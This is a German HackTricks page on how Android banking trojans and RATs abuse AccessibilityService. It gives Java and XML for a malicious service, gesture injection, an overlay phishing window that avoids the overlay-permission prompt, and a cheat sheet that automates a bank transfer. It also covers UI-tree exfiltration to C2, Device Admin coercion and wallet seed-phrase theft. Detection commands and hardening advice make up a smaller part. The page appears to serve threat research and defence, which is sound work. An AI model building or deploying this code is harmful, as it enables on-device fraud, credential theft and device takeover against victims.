Missbrauch von Accessibility Services unter Android
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Übersicht
AccessibilityService
wurde entwickelt, um Nutzern mit Behinderungen die Interaktion mit Android-Geräten zu erleichtern. Leider können dieselben leistungsfähigen Automatisierungs-APIs (global navigation, text input, gesture dispatch, overlay windows…) von Malware missbraucht werden, um vollständige Fernsteuerung des Geräts ohne Root-Rechte zu erlangen.
Moderne Android-Banking-Trojaner und Remote-Access-Trojans (RATs) wie PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda und viele andere folgen derselben Vorgehensweise:
- Durch Social-Engineering das Opfer dazu bringen, einen bösartigen accessibility service zu aktivieren (die BIND_ACCESSIBILITY_SERVICE-Berechtigung gilt als "high-risk" und erfordert eine ausdrückliche Benutzeraktion).
- Den Service ausnutzen, um
- alle UI-Ereignisse & Texte zu erfassen, die auf dem Bildschirm erscheinen,
- synthetische Gesten (
dispatchGesture
) und globale Aktionen (performGlobalAction
) zu injizieren, um beliebige Aufgaben des Operators zu automatisieren, - vollbildige Overlays über legitimen Apps zu zeichnen, unter Verwendung des Window-Typs TYPE_ACCESSIBILITY_OVERLAY (kein
SYSTEM_ALERT_WINDOW
-Prompt!), - stillschweigend zusätzliche Runtime-Berechtigungen zu gewähren, indem Systemdialoge im Namen des Opfers angeklickt werden.
- Daten exfiltrieren oder On-Device-Fraud (ODF) in Echtzeit durchführen, während der Benutzer auf einen völlig normalen Bildschirm schaut.
Anfordern der Berechtigung
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Die zugehörige XML definiert, wie der gefälschte Dialog aussehen wird:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Remote-UI-Automatisierungsprimitive
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Mit nur diesen zwei APIs kann ein Angreifer:
- Den Bildschirm entsperren, die Banking-App öffnen, seinen UI-Baum navigieren und ein Überweisungsformular absenden.
- Jeden erscheinenden Berechtigungsdialog akzeptieren.
- Zusätzliche APKs über den Play Store Intent installieren/aktualisieren.
Missbrauchsmuster
1. Overlay Phishing (Credential Harvesting)
Ein transparentes oder undurchsichtiges WebView
wird dem Fenstermanager hinzugefügt:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
Das Opfer tippt Anmeldedaten in das gefälschte Formular ein, während die Hintergrund-App dieselben Gesten empfängt – kein verdächtiger "draw over other apps" prompt wird je angezeigt.
Detailliertes Beispiel: der Accessibility Overlay Phishing Abschnitt auf der Tapjacking-Seite.
2. Automatisierung von On-Device-Fraud
Malware-Familien wie PlayPraetor unterhalten einen persistenten WebSocket-Kanal, über den der Operator hochrangige Befehle (init
, update
, alert_arr
, report_list
, …) ausgeben kann. Der Dienst übersetzt diese Befehle in die oben beschriebenen Low-Level-Gesten und ermöglicht so Echtzeit-unauthorisierte Transaktionen, die leicht Multi-Faktor-Authentifizierung umgehen können, die an genau dieses Gerät gebunden ist.
3. Bildschirm-Streaming & Überwachung
Durch die Kombination der MediaProjection API mit einer RTMP-Clientbibliothek kann der RAT den Live-Framebuffer an rtmp://<c2>:1935/live/<device_id>
senden und dem Angreifer damit perfekte Lageerkennung verschaffen, während die Accessibility-Engine die UI steuert.
PlayPraetor – command & control workflow
- HTTP(S) heartbeat – iteriere über eine fest kodierte Liste, bis eine Domain mit
POST /app/searchPackageName
und dem aktiven C2 antwortet. - WebSocket (port 8282) – bidirektionale JSON-Befehle:
update
– verteilt neue conf/APKsalert_arr
– konfiguriert Overlay-Templatesreport_list
– sendet Liste der Ziel-Package-Namenheartbeat_web
– keep-alive
- RTMP (port 1935) – Live-Bildschirm-/Video-Streaming.
- REST exfiltration –
/app/saveDevice
(Fingerprint)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(Bank-Creds)
Die AccessibilityService ist die lokale Engine, die diese Cloud-Kommandos in physische Interaktionen umwandelt.
Detecting malicious accessibility services
adb shell settings get secure enabled_accessibility_services
- Einstellungen → Accessibility → Downloaded services – nach Apps suchen, die nicht aus Google Play stammen.
- MDM / EMM-Lösungen können
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) durchsetzen, um sideloaded Services zu blockieren. - Analyse laufender Services:
adb shell dumpsys accessibility | grep "Accessibility Service"
Hardening recommendations for app developers
- Kennzeichne sensitive Views mit
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Kombiniere
setFilterTouchesWhenObscured(true)
mitFLAG_SECURE
, um Tap/Overlay-Hijacking zu verhindern. - Erkenne Overlays durch Abfragen von
WindowManager.getDefaultDisplay().getFlags()
oder derViewRootImpl
API. - Verweigere den Betrieb, wenn
Settings.canDrawOverlays()
oder ein nicht vertrauenswürdiger Accessibility-Service aktiv ist.
ATS-Automatisierungs-Cheat-Sheet (Accessibility-gesteuert)
Malware kann eine Bank-App vollständig mit nur Accessibility-APIs automatisieren. Generische Primitive:
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
Beispielablauf (Tschechisch → englische Bezeichnungen):
- "Nová platba" (Neue Zahlung) → anklicken
- "Zadat platbu" (Zahlung eingeben) → anklicken
- "Nový příjemce" (Neuer Empfänger) → anklicken
- "Domácí číslo účtu" (Inländische Kontonummer) → fokussieren und
ACTION_SET_TEXT
- "Další" (Weiter) → anklicken → … "Zaplatit" (Zahlen) → anklicken → PIN eingeben
Fallback: fest kodierte Koordinaten mit dispatchGesture
, wenn die Textsuche wegen benutzerdefinierter Widgets fehlschlägt.
Ebenfalls beobachtet: Vorbereitende Schritte zu check_limit
und limit
durch Navigation zur Limits-UI und Erhöhung der täglichen Limits vor der Überweisung.
Textbasierte Pseudo-Screen-Übertragung
Für eine latenzarme Fernsteuerung erzeugt man statt vollständigem Video-Streaming eine textuelle Darstellung des aktuellen UI-Baums und sendet diese wiederholt an C2.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
Dies ist die Grundlage für Befehle wie txt_screen
(einmalig) und screen_live
(kontinuierlich).
Device Admin Zwangsmechanismen
Sobald ein Device Admin receiver aktiviert ist, erhöhen diese Aufrufe die Möglichkeiten, Credentials zu erfassen und die Kontrolle aufrechtzuerhalten:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Hinweis: Die genaue Verfügbarkeit dieser Richtlinien variiert je nach Android-Version und OEM; validiere die Geräte-Rollen (admin vs owner) während der Tests.
Muster zur Extraktion von Seed-Phrases aus Crypto-Wallets
Beobachtete Abläufe für MetaMask, Trust Wallet, Blockchain.com und Phantom:
- Entsperren mit gestohlenem PIN (erfasst via overlay/Accessibility) oder mit dem Wallet-Passwort.
- Navigieren: Settings → Security/Recovery → Reveal/Show recovery phrase.
- Phrase sammeln via keylogging der text nodes, secure-screen bypass oder Screenshot-OCR, wenn der Text verdeckt ist.
- Unterstützung mehrerer locales (EN/RU/CZ/SK) zur Stabilisierung der Selektoren – bevorzugt
viewIdResourceName
wenn verfügbar, Fallback auf mehrsprachigen Textabgleich.
NFC-relay orchestration
Accessibility/RAT-Module können eine dedizierte NFC-relay-App (z. B. NFSkate) als dritte Phase installieren und starten und sogar eine overlay-Anleitung einblenden, um das Opfer durch die card-present relay-Schritte zu führen.
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
Referenzen
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.